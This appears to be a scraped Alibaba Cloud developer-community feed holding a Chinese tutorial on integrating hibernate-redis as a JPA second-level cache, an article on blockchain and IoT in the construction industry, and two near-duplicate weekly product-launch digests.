    ###集成
    hibernate-redisConfiguration官方给很多种集成方式,针对于不同redis模式(redis单体模式主从模式哨兵模式,集群模式)给出了不同配置说明,本文为以最简单redis单体模式,将redis集成到服务中。
    0. redis安装启动
    将redis安装并启动,本文redis的地址为:127.0.0.1:6379

    1. 引入pom

       <dependency>
              <groupId>com.github.debop</groupId>
              <artifactId>hibernate-redis</artifactId>
              <version>2.4.0</version>
          </dependency>
    
          <dependency>
              <groupId>org.redisson</groupId>
              <artifactId>redisson</artifactId>
              <version>2.5.1</version>
          </dependency>
          <dependency>
              <groupId>de.ruedigermoeller</groupId>
              <artifactId>fst</artifactId>
              <version>2.48</version>
          </dependency>
          <dependency>
              <groupId>org.xerial.snappy</groupId>
              <artifactId>snappy-java</artifactId>
              <version>1.1.7.3</version>
          </dependency>

    2 . 配置
    A . 在 src/main/resources/application.yml 配置数据源和开启二级缓存

    spring:
      application:
        name: jps-redis-demo
      datasource:
        username: root
        password: *****
        url: jdbc:mysql://localhost:3306/tenant-center?&useUnicode=true&characterEncoding=UTF-8&useSSL=false
        driver-class-name: com.mysql.cj.jdbc.Driver
        type: com.alibaba.druid.pool.DruidDataSource
      jpa:
        hibernate:
          naming:
            physical-strategy: org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy
          ddl-auto: update
        database-platform: org.hibernate.dialect.MySQL5InnoDBDialect
        properties:
          ## 缓存策略,总是缓存
          javax:
            persistence:
              sharedCache:
                mode: ALL
          ##二级缓存配置
          hibernate:
            cache:
              ## 开启二级缓存
              use_second_level_cache: true
              ## 查询缓存
              use_query_cache: true
              ## RedisRegionFactory
              region:
                factory_class: org.hibernate.cache.redis.hibernate52.SingletonRedisRegionFactory
              ## 缓存标示前缀
              region_prefix: hibernate
              ## 结构化缓存实体
              use_structured_entries: true
              ## 配置文件路径
              provider_configuration_file_resource_path: classpath:conf/hibernate-redis.properties
          redisson-config: classpath:conf/redisson.yaml
          redis:
            expiryInSeconds:
              default: 120
              hibernate:
                common: 0
                account: 1200
        show-sql: true

    缓存模式 javax.persistence.shared.Cache.mode
    官方解释:SharedCacheMode
    文本以ALL 表示:所有实体都缓存

    B . 在 src/main/resources/创建 conf目录存放hibernate-redis的配置文件,并创建hibernate-redis.propertiesredisson.yaml 配置文件
    企业微信20200410045800.png

    hibernate-redis.properties 配置文件:

    redisson-config=classpath:conf/redisson.yaml
    #
    # Cache Expiry settings
    # 'hibernate' is second cache prefix
    # 'common', 'account' is actual region name
    #
    # default = 120 seconds (2 minutes) (see RedisCacheUtil.DEFAULT_EXPIRY_IN_SECONDS)
    #
    redis.expiryInSeconds.default=360
    redis.expiryInSeconds.hibernate.common=0
    redis.expiryInSeconds.hibernate.account=1200

    redisson.yaml 配置文件:

    singleServerConfig:
    ## If pooled connection not used for a timeout time and current connections amount bigger than minimum idle connections pool size, then it will closed and removed from pool. Value in milliseconds.
      idleConnectionTimeout: 10000
    ## Timeout during connecting to any Redis server.
      connectTimeout: 10000
    ## Redis server response timeout. Starts to countdown when Redis command was succesfully sent. Value in milliseconds.
      timeout: 3000
    ## Error will be thrown if Redis command can't be sended to Redis server after retryAttempts. But if it sent succesfully then timeout will be started.
      retryAttempts: 3
    ## Time interval after which another one attempt to send Redis command will be executed. Value in milliseconds
      retryInterval: 1500
    ## Password for Redis server authentication
      password: null
    ## Subscriptions per subscribe connection limit. Used by RTopic, RPatternTopic, RLock, RSemaphore, RCountDownLatch, RClusteredLocalCachedMap, RClusteredLocalCachedMapCache, RLocalCachedMap, RLocalCachedMapCache objects and Hibernate READ_WRITE cache strategy.
      subscriptionsPerConnection: 5
    ## Name of client connection
      clientName: null
    ## Redis server address in host:port format. Use rediss:// protocol for SSL connection.
      address:
      - "redis://127.0.0.1:6379"
    ## Minimum idle Redis subscription connection amount.
      subscriptionConnectionMinimumIdleSize: 1
    ## Redis subscription connection maximum pool size.
      subscriptionConnectionPoolSize: 50
    ## Minimum idle Redis connection amount.
      connectionMinimumIdleSize: 24
    ## Redis connection maximum pool size.
      connectionPoolSize: 64
    ## Database index used for Redis connection
      database: 0
    ## DNS change monitoring interval. Applications must ensure the JVM DNS cache TTL is low enough to support this. Set -1 to disable. Multiple IP bindings for single hostname supported in Proxy mode.
      dnsMonitoringInterval: 5000
    threads: 16
    ## Threads amount shared between all redis clients used by Redisson. Netty threads used in Redis response decoding and command sending.
    nettyThreads: 32
    ## Redis data codec. Used during read and write Redis data. Several implementations are available:
    codec: !<org.redisson.codec.FstCodec> {}
    ## Available values: default  TransportMode.NIO
    #TransportMode.NIO,
    #TransportMode.EPOLL - requires netty-transport-native-epoll lib in classpath
    #TransportMode.KQUEUE - requires netty-transport-native-kqueue lib in classpath
    ## transportMode: "NIO"

    配置文件中都有关于配置的官方说明,其中transportMode:"NIO" 为默认配置,可以不配置,配置会导致文件格式解析问题。

    3 . 注解启动
    在启动类上加入缓存启动注解

    @SpringBootApplication
    @EnableCaching
    public class JpaRedisDemoApplication {
    
      public static void main(String[] args) { SpringApplication.run(JpaRedisDemoApplication.class, args);}
    
    }

    3 . 创建实体测试

      创建相应的实体测试二级缓存是否生效。
    

    就这样简单四个步骤就可以将hibernate-redis集成到JPA

    版本说明

    hibernate-redis 官方发布的版本为2.3.2 ,可以支持hibernate (4.x, 5.1.x, 5.2.x) ,但是本文在集成该hibernate-core-5.2.11.Final版本,
    出现问题:

    官方的问题列表中也存在这个问题,并且说明在hibernate-redis-2.4.0 版本中解决,但2.4.0 版本还未发布,需要手动下载jar,并安装到本地仓库中去
    下载地址:hibernate-redis-2.4.0
    安装命令:

    mvn install:install-file -Dfile=hibernate-redis-2.4.0.jar -DgroupId=com.github.debop -DartifactId=hibernate-redis -Dversion=2.4.0 -Dpackaging=jar

    源代码实例

    本篇源代码实例:jpa-redis-demo

    ]]>
    区块链和物联网如何在建筑业中开辟新的能力-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Group-63_副本.png

    物联网正在使建筑行业的资产和流程快速数字化。建设项目一般比较复杂,涉及的法规和标准很多。信任和验证方面存在问题,即是否已开展了合规工作,各方之间也没有标准的沟通方法。因此,除了越来越多的中介机构外,该行业现在拥有越来越多的零散数据存储库。建筑公司应利用区块链和物联网的结合,提高项目成本、时间和范围的透明度。

    区块链基础

    简单地说,区块链是一种数据库体系结构技术,作为一种分散的、分布式的和公共的数字账本来实现,用于记录许多分散的计算机之间的交易。如果没有所有后续区块的变更和网络的一致意见,则不能追溯更改记录。这使得参与者能够以低成本核实和审计交易,并建立信任和透明度,而且消除了纸面和重复的工作。

    有多种实现区块链技术的方法。尽管它们可能具有相同的一般功能,但不同的区块链平台具有不同的安全性和技术风险,并且组织需要在其整个生命周期中评估各种解决方案,以确保其适合其特定需求和风险承受能力。

    公共区块链Public blockchain):访问是开放的; 任何人都可以成为节点并参与区块链。

    混合区块链Hybrid blockchain):一种混合系统的形式,可用于需要白名单访问但所有交易应公开可见的情况。政府应用程序就是这样的例子,在该应用程序中,只有某些人才能写网络信息,但所有交易都可以公开验证。

    私有区块链Private blockchain):通过基于权限的私有网络,访问仅限于特定用户。私有区块链之外的任何人都无法看到或参与区块链交易。

    建筑业中的区块链概述

    施工过程涉及很多专业人员,他们需要交换信息才能成功设计,实施和运营项目。 监管机构,银行,保险公司,律师等许多中介机构都习惯于对整个过程进行身份验证。需要在所有利益相关者之间建立信任。从传统方法到数字形式的操作过渡为诸如区块链之类的数字工具铺平了道路,这种数字工具可以促进参与者之间的信任。

    对于那些想要在不依赖中介的情况下进行开放,可信赖的IoT通信的人来说,私有区块链可以提供解决方案并实现IoT设备之间的数据安全性。区块链的力量在于,它以一种易于采用的方式创建了非常强大的标准,而不会干扰现有流程。

    区块链是一种点对点实施,其中系统地管理信任以提供一定程度的透明性,从而提高生产力和简便性。对于与许多不同的分包商,所有者和供应商打交道的承包商,他们都使用不同的系统,区块链允许承包商简化和管理一个不变的分类账中的所有数据。参与者需要聚集在一起并通过每个人登录同一数据库来解决问题的想法是一个受欢迎的发展,尤其是考虑到建筑行业拥有任何行业中最高的诉讼成本。实施区块链可确保所有数据(无论系统或来源)均得到验证和信任。区块链的首要目标是打破数据孤岛,以实时利用信息。区块链不是行业的中心机构,而是一个共享的开放式平台,可保护成员安全,从而推动成员之间的信任,透明和诚信,因此,区块链在业界是必不可少的。

    区块链正在开放新的物联网功能,因为它允许参与者之间进行价值和数字资产的无缝交换,而无需中介机构这样做。价值可以是服务、产品或智能合约形式的批准。区块链和物联网的结合旨在改善建筑行业的成果。区块链创建了一个可信赖的事件,交易,资产和关键项目细节链。这样一来,电子邮件,项目管理系统和会计系统就可以集中在一起,为区块链上的所有交易创建经过验证的记录,并确保数据不会丢失。这意味着每个项目都有一个共享的事实真相,这就是行业需要的工作,以消除重复、减少错误并确保数据完整性。

    想象一下在结束一个大型建筑项目时面临的挑战; 从所有分包商那里收集数据并将其输入到报告中是一场噩梦。通常,项目数据分散,难以获取且难以验证。由于缺乏项目合作以及使用不同技术解决方案而产生的孤岛,使情况更加复杂。孤立的方法的主要问题在于,它产生的数据通常不准确或不正确。隔离在系统中的数据通常是零散的,并且很少在组织之间共享,因此会失去其价值和可验证性。

    如果没有区块链技术,接收组织必须先进行独立投资,以建立对接收到的任何数据的信任,然后再使用它们做出业务决策。但是,区块链允许合作伙伴共享实时数据,该数据的历史记录以及对其的任何修改。区块链旨在通过物联网设备和其他数字系统直接从源中收集数据并能够就哪个版本是事实达成共识,从而提高数据完整性。能够访问可信赖的数据为企业创造了令人兴奋的可能性。

    区块链不会取代软件应用程序;它只会让它们更紧密地合作。它可以是在后台组织以促进操作过程的标准。信任数据源也是一个问题,在所有的工作都完成之后,数据最终会在某个地方尘埃落定。使用区块链,可以主动、实时地完成移交。这使区块链成为您可以创建真正的实时操作和维护手册的地方。

    区块链在建筑中的可能用例

    1)分散式网络管理

    为了成功应用区块链,它需要与“数字原生”资产一起工作,这意味着可以成功以数字格式表示的资产。物联网和其他工具可实现非数字资产的数字化。鉴于建筑业中物联网设备的激增,区块链技术可以构成物联网设备分散网络的骨干。在这些情况下,区块链将充当大量设备的公共分类账,而不再需要中央集线器来协调它们之间的通信。

    2)简化融资和支付

    在建设项目中,承包商可以要求预付款,以帮助他们应付在开始建造之前可能需要承担的大量启动或采购费用。在这种情况下,客户应要求支付预付款保证金以防止承包商违约。区块链技术可以消除纸张痕迹,并显著减少文档分发的时间,从十几天缩短到不到24小时。

    滞纳金及其相关的现金流量问题一直是建筑业中的长期问题。区块链在建筑行业中最适用的用途之一是将基于区块链的平台嵌入到项目执行实践中,该平台可以基于数字化批准的工作,合同条款和智能合约行动来发起付款。

    3)合规简化

    提供合规证明(税收,NEC,专业注册等)通常是困难、耗时且昂贵的。将与证明相关的信息放到区块链上将大大降低成本和管理负担,并且通常有助于提高招标和项目实施过程中信息的可访问性。此外,将区块链技术与诸如AI和IoT之类的新兴技术绑定在一起可以实现实时数据收集和处理,从而提高整体合规性。连同记录在区块链上的项目信息一起,可以轻松证明合规性。

    4)来源和可追溯性

    可持续性问题使客户要求证明产品的合法性和真实性。在整个供应链中跟踪货物和资产已成为改善运营影响力的重要方法。知道产品的整个过程会带来一些好处,例如提高产品安全性,减少欺诈行为以及提高行业内预测和协作计划的准确性。如果公司的供应链出现故障或交付的最终产品有问题,将对公司产生财务影响。

    资产来源是质量保证和质量控制的一个重要方面。它是通过从物联网设备、不同供应商及其系统中提取的数据,使用API集成来实现的。结构材料的出处和经验证的监管链的建立确保了供应链各方的透明度,并提高了建筑部门的可持续性得分。可以认可和激励具有高质量产品的值得信赖的供应商保持质量证书,从而建立长期关系。

    5)智能合约

    智能合约本质上是一种计算机代码,可以自动执行并强制执行法律协议中规定的条款和条件。例如,如果承包商已达到建造结构的商定阶段,则他要求进行检查。 如果负责检查工作的主管部门批准,则承包商将获得报酬。


    • 如果合同条款和条件准确地记录在智能合约上,则条件的执行和监视非常准确。
    • 每次付款,交易,业务交互和执行都可以在区块链上注册,从而使整个过程透明且可追溯。
    • 智能合约网络可以确保整个建筑采购的透明度并降低复杂性。这样,可以减少延迟付款的风险和纠纷的数量。
    • 在日常管理费用、行政管理和项目控制方面可以实现显著的成本节约。此外,项目采购信息以可追踪的方式记录,从而开启项目评估和成本优化。
    • 通过智能合约支持并自动执行的合约协作可以显著减少索赔和争议的数量,从而改善与利益相关者的关系。

    物联网传感器可以作为智能合约的封闭数据源,消除潜在的人为错误,例如用于登录现场工人、测量天气状况、结构元件GPS、交付物资的RFID等的访问控制系统。

    6)BIM和现场资产跟踪

    施工人员聚集了大型团队来设计和塑造建筑环境。随着技术的发展,尤其是物联网和建筑信息模型(BIM)的日益普及,整个行业内对协作和新想法的开放性也在增加。可以利用这种势头来推动区块链技术的使用。BIM是一种计算机模型,其中包含有关资产的各种信息,例如3D几何图形,施工管理信息(如时间表和成本或运营和维护指标)。BIM和区块链技术可以结合起来用作单一事实来源。

    BIM技术作为数据的单一真实来源,同时将设计批准、数据验证和项目管理决策的审计跟踪放在区块链上,将产生涵盖项目所有方面的综合真实来源。

    BIM可以结合来自区块链的信息,例如供应链信息,材料来源,付款明细等,尤其是在施工期间。它还可以将信息分配给区块链,例如设计决策,数据源或模型修改订单。以后,智能合约可以使用此信息来启动进一步的操作,例如付款或物料订单。

    区块链、物联网和BIM提供了通往数字孪生和智能资产管理的基础,因为项目不仅会在交付资产时就停止,而会进行转型并一直持续到建筑生命周期的尽头。

    7)新型建筑部件的3D打印

    3D打印和“附加制造”(即通过在材料上逐层添加来构建3D对象)是高度技术驱动的过程,只需单击鼠标即可轻松传输所涉及的数字文件。因此,零件和产品更易于共享和跟踪-导致更智能的数字供应网络和供应链。

    使用区块链来支持这些不断发展的基础设施,可以消除安全漏洞,保护知识产权不受盗窃,并简化项目管理,最终帮助3D打印和附加制造行业实现增长和规模化。

    8)安全性

    隐私和安全是物联网面临的两大挑战。由物联网设备组成的僵尸网络发起的分布式拒绝服务(DDoS)攻击,以及安全漏洞损害用户数据的看似连续不断的新闻报道等事件,都让许多开发者开始寻找解决方案。物联网隐私和安全挑战的一个潜在解决方案是使用区块链技术。随着对工厂和人员风险很大的施工现场安装连接传感器,Xage、Guardtime和Filament等公司正在采用区块链技术提供安全解决方案。

    Briq,Probuild,ULedger,Hunter Roberts OEG&Gartner Builders,Costain的Lifechain,Tata Steel和BIMCHAIN是一些致力于实施区块链和物联网以改善建筑业成果的公司。已经开始发现专门针对建筑环境的区块链机会的合作伙伴组织包括建筑区块链联盟(Construction Blockchain Consortium)。

    小结

    建筑业是一个受到严格监管的行业,通常为复杂的项目雇用各种各样的参与者。 验证其身份,工作质量及其可靠性可能既困难又耗时。基于区块链的生态系统可以使总承包商更容易验证身份并跟踪多个团队的进度,从而帮助解决这一难题。区块链技术还可以帮助确保从正确的地方采购建筑材料并具有适当的质量,而智能合约可以使自动发行与项目里程碑相关的及时付款变得更加容易。

    区块链的全部价值可以通过建筑行业内各方的合作来实现。因此,通过伙伴关系和共同的试点项目共享最佳实践和实施经验是有利的。


    原文链接 ]]>
    阿里云新品发布会周刊第48期 丨 内附PPT下载 | 性能为MySQL10倍!阿里云重磅推出云原生数据仓库AnalyticDB基础版-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

    新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多新品发布会!

    热门阅读

    1、内附PPT下载 | 性能为MySQL10倍!阿里云重磅推出云原生数据仓库AnalyticDB基础版
    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg
    日前,阿里云正式发布云原生数据仓库AnalyticDB基础版,极大降低了用户构建数据仓库的门槛,每月可低至860元。高度兼容MySQL,极低的使用成本和极高的性能,使中小企业也可以轻松的搭建一套实时数据仓库,实现企业数据价值在线化。 查看原文

    2、构建实时数据仓库首选,云原生数据仓库AnalyticDB for MySQL技术解密
    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg
    AnalyticDB for MySQL的产品系列包括基础版(单机版)和集群版,基础版为单个节点提供服务,极简的架构大大的降低了基础版的成本。存储计算分离架构、行列混存技术、轻量的索引构建方式和分布式混合计算引擎又保证了基础版强大的分析性能。年成本不到一万就可以构建一套实时数据仓库,无需成立专门的大数据团队,为企业节省百万成本。 查看原文

    3、使用错误代码对象进行C++错误处理

    每个C++程序员都知道处理异常情况的传统方法有两种:第一种是从良好的旧C风格继承而来,返回错误代码,并希望调用者进行判断并采取适当的操作;第二种方法是抛出异常,并希望周围代码块捕获并处理该异常。C++ FAQ强烈支持第二种方法,认为它会使得代码更安全 。 查看原文

    精品直播

    第90期:数据库自治服务DAS重磅新品发布会

    直播时间:2020年4月22日 15:00-16:40 预约观看

    数据库自治服务DAS基于机器学习及专家经验,真正实现数据库的自感知、自修复、自优化、自运维及自安全,以及数据库问题从发现、根因分析、修复、跟踪的诊断闭环。DAS的发布,标志着阿里云数据库迈入了自治时代,将为业务提供7*24的稳定、高效、智能的数据库服务。

    第89期: Serverless工作流重磅发布

    直播时间:2020年4月15日 15:00-16:00 预约观看
    TB1.Jx5BFY7gK0jSZKzXXaikpXa-780-388.jpg
    对于分布式应用和微服务而言,往往涉及构建复杂的、多步骤的、有状态的和长时间运行的业务流程。本次发布会将向大家隆重介绍阿里云Serverless工作流,致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作。此外,该服务可协调各类分布式组件,减少流程代码量,在实现丰富控制逻辑的同时提高应用容错性,其自动扩展助力客户免于管理硬件预算和扩展。


    往期回顾

    第88期:分析型数据库AnalyticDB for MySQL基础版重磅发布 活动页面 直播视频

    AnalyticDB for MySQL作为新一代云原生敏捷数据仓库,旨在帮助用户快速构建一套高性能、高可用、高可靠、高弹性和智能化的云数据仓库,更好的实现用户数据价值在线化。本次分享主要针对AnalyticDB for MySQL基础版特性以及用户如何0门槛和超低成本构建实时数据仓库。

    第87期:云数据库SQL Server 2019新版本发布会 活动页面 直播视频

    RDS SQL Server作为一款重要的关系型数据库产品,它以优秀的性能、可靠的稳定性以及高安全性被广大客户广泛用于生产系统中,阿里云RDS SQL Server拥有完整的产品形态和版本,部署形态从基础版、高可用版到集群版;规格上从独享型、通用型到共享型,从单租户到多租户;并以此构建完整的生命周期管理、备份还原和智能化运维体系。最新推出了经济易用的重磅产品和特性,这里将会有详细的解读。

    第86期:OceanBase新品发布 活动页面 直播视频

    OceanBase是100%自研的金融级分布式关系数据库,在普通硬件上实现金融级高可用,在金融行业首创’三地五中心’城市级故障自动无损容灾新标准,同时具备在线水平扩展能力,创造了6100万次/秒处理峰值的业内纪录,在功能、稳定性、可扩展性、性能方面都经历过严格的检验 。有着优异成绩的它还有什么亮点呢?

    第85期:解决方案体验中心SEC重磅发布 活动页面 直播视频

    想了解一个解决方案的更多细节, 图文介绍限制了想象力怎么办? 线下Demo不能随时随地体验怎么办? 阿里云全新打造的线上解决方案深度体验平台SEC将给您带来7*24小时在线的一站式解决方案新体验。本次直播将进行SEC的发布跟全面介绍, 并通过SEC平台深度展示跟介绍阿里云智慧教学解决方案。

    第84期:Redis企业版 & 专享主机组新品发布会 活动页面 直播视频

    随着淘宝网的流量快速增长,数据库的压力与日俱增,基于后端系统的缓存技术应运而生。从服务淘宝详情和验证码等业务的持久化系统TBStore,到初始服务于淘宝用户中心的TDBM等等,后端系统缓存技术经历了多个系统和阶段的演变与积累,到2009年,这些系统、技术经验经过进一步的研发,融合成了阿里巴巴大规模高速存储系统Tair,也就是阿里云数据库Redis企业版 。

    第83期:阿里云混合云管理平台重磅发布 活动页面 直播视频

    混合云管理平台是面向混合云场景的一体化企业级运营管理平台,提供对公有云,私有云和混合云统一的集成管理,从关注应用、敏捷应变、优化成本出发,提供简单、智能、开放的云管平台,让客户更好的管理云环境,获得更好的运维管理体验。

    第82期:阿里云视觉智能开放平台发布会 活动页面 直播视频

    视觉智能技术作为AI落地最广的技术之一如今已应用在社会的各个角落,包括人脸人体,文字识别,商品识别,视频理解,内容安全等等耳熟能详的应用。视觉能力赋予了计算机感知世界的能力,如今随着技术的发展,视觉计算正逐渐从感知走向认知。阿里巴巴经济体在这一块投入了大量的资源和长期的努力(包括达摩院),研发并应用了众多优质的视觉能力,形成了体系化的视觉智能技术,这些能力在经济体上诸多明星应用上发挥价值,包括淘宝、天猫、支付宝、优酷等。如今,阿里云将这些在明星产品和解决方案中得以锤炼过的视觉API原子能力公开,帮助企业和开发者高效研发,创造更多,更强的视觉智能应用。

    产品动态

    新功能/版本:

    1、云服务总线 CSB - 云服务总线 Cloud Service Bus (CSB) 支持发布和调用 Spring Cloud 查看产品 产品文档

    云服务总线 CSB(Cloud Service Bus)提供平台化的应用集成和服务开放能力,帮助企业打通、整合内外新旧业务系统,实现跨环境、跨归属应用系统之间的互通集成和管控。CSB 提供了面向开放平台、微服务网关和应用集成的特色能力集。

    2、 应用身份服务 - 阿里云 IDaaS 1.5 版本升级 - 风险识别、实人认证、钉钉的集成和更多功能 查看产品 产品文档

    阿里云云盾应用身份服务IDaaS(英文名:Alibaba Cloud Identity as a Service,简称IDaaS)是阿里云为企业用户提供的一套集中式身份、权限、应用管理服务,帮助您整合部署在本地或云端的内部办公系统、业务系统及三方SaaS系统的所有身份,实现一个账号打通所有应用服务。

    3、 视觉智能开放平台 - 阿里云视觉智能开放平台最新发布37种视觉AI算法,平台累计算法超过100+! 查看产品 产品文档

    计算机视觉(Computer Vision)是一门研究如何使机器“看”的科学,计算机视觉智能技术试图创建能够从图像视频或者多维数据中获取“信息和知识”的人工智能系统。作为AI技术的主要组成部分,计算机视觉(图像、视频、3D图形)智能技术近年来随着深度学习、大规模数据处理能力及云基础设施的迅猛发展,逐步应用到各行各业中,发挥了越来越大的作用。

    4月特惠

    102354402a5946aca8b51c3069de1839.jpg
    点击领取大礼包

    资料下载

    首发 | 7天教你玩转云服务器

    云计算服务器(又称云服务器或云主机)主要面向中小企业用户与高端用户提供基于互联网的基础设施服务,这一用户群体庞大,且对互联网主机应用的需求日益增加。该用户群体具备如下特征:业务以主机租用与虚拟专用服务器为主,部分采用托管服务,且规模较大;注重短期投资回报率,对产品的性价比要求较高;个性化需求强,倾向于全价值链、傻瓜型产品 。

    2020教你玩转阿里云优惠集锦大汇总 入口链接领取都在这

    平台这么多福利折扣优惠你知道吗?
    除了买产品可以折扣,还有现金奖励,福利红包,抽奖礼品
    例如突发性能型t5实例1核2G1M云服务器一单下来只要74.43元。
    这可是官方折扣,下面我们就来整理下阿里云官网的所有优惠锦集
    赶紧收藏,分享吧 !

    扫描二维码加入社区圈
    5555

    ]]>
    阿里云新品发布会周刊第48期 丨 Gartner 容器报告:阿里云与 AWS 并列第一,领先微软、谷歌-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

    新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多新品发布会!

    热门阅读

    1、连续两年入选Gartner公共云容器报告,阿里云在边缘容器方面做了什么?

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg
    最近,Gartner发布了2020年公共云容器报告,阿里云连续两年成为唯一入选的中国企业。报告显示,阿里云容器服务在中国市场表现强劲,产品形态丰富,在 Serverless 容器、服务网格、安全沙箱容器、混合云和边缘等领域,具备良好的技术发展策略。 查看原文

    2、使用错误代码对象进行C++错误处理

    每个C++程序员都知道处理异常情况的传统方法有两种:第一种是从良好的旧C风格继承而来,返回错误代码,并希望调用者进行判断并采取适当的操作;第二种方法是抛出异常,并希望周围代码块捕获并处理该异常。C++ FAQ强烈支持第二种方法,认为它会使得代码更安全 。查看原文

    3、内附PPT下载 | 性能为MySQL10倍!阿里云重磅推出云原生数据仓库AnalyticDB基础版
    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg
    日前,阿里云正式发布云原生数据仓库AnalyticDB基础版,极大降低了用户构建数据仓库的门槛,每月可低至860元。高度兼容MySQL,极低的使用成本和极高的性能,使中小企业也可以轻松的搭建一套实时数据仓库,实现企业数据价值在线化。 查看原文

    4、构建实时数据仓库首选,云原生数据仓库AnalyticDB for MySQL技术解密
    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg
    AnalyticDB for MySQL的产品系列包括基础版(单机版)和集群版,基础版为单个节点提供服务,极简的架构大大的降低了基础版的成本。存储计算分离架构、行列混存技术、轻量的索引构建方式和分布式混合计算引擎又保证了基础版强大的分析性能。年成本不到一万就可以构建一套实时数据仓库,无需成立专门的大数据团队,为企业节省百万成本。 查看原文

    5、Gartner 容器报告:阿里云与 AWS 并列第一,领先微软、谷歌
    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg
    近日,国际知名调研机构 Gartner 发布 2020 年容器公有云竞争格局报告,阿里云再度成为国内唯一入选厂商。Gartner 报告显示,阿里云容器服务在中国市场表现强劲,产品形态丰富,在如 Serverless 容器、服务网格、安全沙箱容器、混合云和边缘等领域,具备良好的技术发展策略。 查看原文

    精品直播

    第89期: Serverless工作流重磅发布

    直播时间:2020年4月15日 15:00-16:50 预约观看
    TB1.Jx5BFY7gK0jSZKzXXaikpXa-780-388.jpg
    对于分布式应用和微服务而言,往往涉及构建复杂的、多步骤的、有状态的和长时间运行的业务流程。本次发布会将向大家隆重介绍阿里云Serverless工作流,致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作。此外,该服务可协调各类分布式组件,减少流程代码量,在实现丰富控制逻辑的同时提高应用容错性,其自动扩展助力客户免于管理硬件预算和扩展。


    往期回顾

    第88期:分析型数据库AnalyticDB for MySQL基础版重磅发布 活动页面 直播视频

    AnalyticDB for MySQL作为新一代云原生敏捷数据仓库,旨在帮助用户快速构建一套高性能、高可用、高可靠、高弹性和智能化的云数据仓库,更好的实现用户数据价值在线化。本次分享主要针对AnalyticDB for MySQL基础版特性以及用户如何0门槛和超低成本构建实时数据仓库。

    第87期:云数据库SQL Server 2019新版本发布会 活动页面 直播视频

    RDS SQL Server作为一款重要的关系型数据库产品,它以优秀的性能、可靠的稳定性以及高安全性被广大客户广泛用于生产系统中,阿里云RDS SQL Server拥有完整的产品形态和版本,部署形态从基础版、高可用版到集群版;规格上从独享型、通用型到共享型,从单租户到多租户;并以此构建完整的生命周期管理、备份还原和智能化运维体系。最新推出了经济易用的重磅产品和特性,这里将会有详细的解读。

    第86期:OceanBase新品发布 活动页面 直播视频

    OceanBase是100%自研的金融级分布式关系数据库,在普通硬件上实现金融级高可用,在金融行业首创’三地五中心’城市级故障自动无损容灾新标准,同时具备在线水平扩展能力,创造了6100万次/秒处理峰值的业内纪录,在功能、稳定性、可扩展性、性能方面都经历过严格的检验 。有着优异成绩的它还有什么亮点呢?

    第85期:解决方案体验中心SEC重磅发布 活动页面 直播视频

    想了解一个解决方案的更多细节, 图文介绍限制了想象力怎么办? 线下Demo不能随时随地体验怎么办? 阿里云全新打造的线上解决方案深度体验平台SEC将给您带来7*24小时在线的一站式解决方案新体验。本次直播将进行SEC的发布跟全面介绍, 并通过SEC平台深度展示跟介绍阿里云智慧教学解决方案。

    第84期:Redis企业版 & 专享主机组新品发布会 活动页面 直播视频

    随着淘宝网的流量快速增长,数据库的压力与日俱增,基于后端系统的缓存技术应运而生。从服务淘宝详情和验证码等业务的持久化系统TBStore,到初始服务于淘宝用户中心的TDBM等等,后端系统缓存技术经历了多个系统和阶段的演变与积累,到2009年,这些系统、技术经验经过进一步的研发,融合成了阿里巴巴大规模高速存储系统Tair,也就是阿里云数据库Redis企业版 。

    第83期:阿里云混合云管理平台重磅发布 活动页面 直播视频

    混合云管理平台是面向混合云场景的一体化企业级运营管理平台,提供对公有云,私有云和混合云统一的集成管理,从关注应用、敏捷应变、优化成本出发,提供简单、智能、开放的云管平台,让客户更好的管理云环境,获得更好的运维管理体验。

    第82期:阿里云视觉智能开放平台发布会 活动页面 直播视频

    视觉智能技术作为AI落地最广的技术之一如今已应用在社会的各个角落,包括人脸人体,文字识别,商品识别,视频理解,内容安全等等耳熟能详的应用。视觉能力赋予了计算机感知世界的能力,如今随着技术的发展,视觉计算正逐渐从感知走向认知。阿里巴巴经济体在这一块投入了大量的资源和长期的努力(包括达摩院),研发并应用了众多优质的视觉能力,形成了体系化的视觉智能技术,这些能力在经济体上诸多明星应用上发挥价值,包括淘宝、天猫、支付宝、优酷等。如今,阿里云将这些在明星产品和解决方案中得以锤炼过的视觉API原子能力公开,帮助企业和开发者高效研发,创造更多,更强的视觉智能应用。

    产品动态

    新功能/版本:

    1、云服务总线 CSB - 云服务总线 Cloud Service Bus (CSB) 支持发布和调用 Spring Cloud 查看产品 产品文档

    云服务总线 CSB(Cloud Service Bus)提供平台化的应用集成和服务开放能力,帮助企业打通、整合内外新旧业务系统,实现跨环境、跨归属应用系统之间的互通集成和管控。CSB 提供了面向开放平台、微服务网关和应用集成的特色能力集。

    2、 应用身份服务 - 阿里云 IDaaS 1.5 版本升级 - 风险识别、实人认证、钉钉的集成和更多功能 查看产品 产品文档

    阿里云云盾应用身份服务IDaaS(英文名:Alibaba Cloud Identity as a Service,简称IDaaS)是阿里云为企业用户提供的一套集中式身份、权限、应用管理服务,帮助您整合部署在本地或云端的内部办公系统、业务系统及三方SaaS系统的所有身份,实现一个账号打通所有应用服务。

    3、 视觉智能开放平台 - 阿里云视觉智能开放平台最新发布37种视觉AI算法,平台累计算法超过100+! 查看产品 产品文档

    计算机视觉(Computer Vision)是一门研究如何使机器“看”的科学,计算机视觉智能技术试图创建能够从图像视频或者多维数据中获取“信息和知识”的人工智能系统。作为AI技术的主要组成部分,计算机视觉(图像、视频、3D图形)智能技术近年来随着深度学习、大规模数据处理能力及云基础设施的迅猛发展,逐步应用到各行各业中,发挥了越来越大的作用。

    云数据库优惠活动
    TB1LY9wBNz1gK0jSZSgXXavwpXa-567-221.png
